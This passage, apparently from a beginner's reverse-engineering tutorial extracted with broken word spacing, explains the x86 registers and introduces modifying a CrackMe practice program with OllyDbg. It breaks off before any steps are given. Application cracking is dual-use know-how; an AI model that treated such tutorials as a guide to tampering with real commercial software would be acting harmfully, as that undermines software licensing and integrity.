difficult to understand for beginners as it requires a prior know ledge of assem bly
language.

D eveloping is easy but to re-developing is not easy !!B ecause w hile developm ent a
program m er has to deal w ith the functions, pointers, conditions, loops etc“  B ut w hile
D E-com pilation process w e need to deal w ith registers !

G enerally 32 bit / 64 bit w indow s supports m ainly 9 registers: 

 Perform ing R egisters
        
> EA X  : Extended A ccum ulator R egister

> EB X  : B ase R egister
> EC X  : C ounter R egister
> ED X  : D ata R egister

 Index
   
> ESI : Source Index

> ED I : D estination Index

 Pointer
    
> EB P : B ase Pointer

> ESP : Stack Pointer
> EIP : Instruction Pointer
So , let‒s m ove tow ards our w ay ―H ow  to m odify the applications‖
The general requirem ents you need for the m odification are listed below  and easily
available on the internet: 
1.O llyD B G

2.C rack M e A pp( click here to dow nload)(register and activate your account before
dow nload)
PR O C ESS:

 W hen you have dow nloaded both the apps ,first of all you need to launch the C rack M e


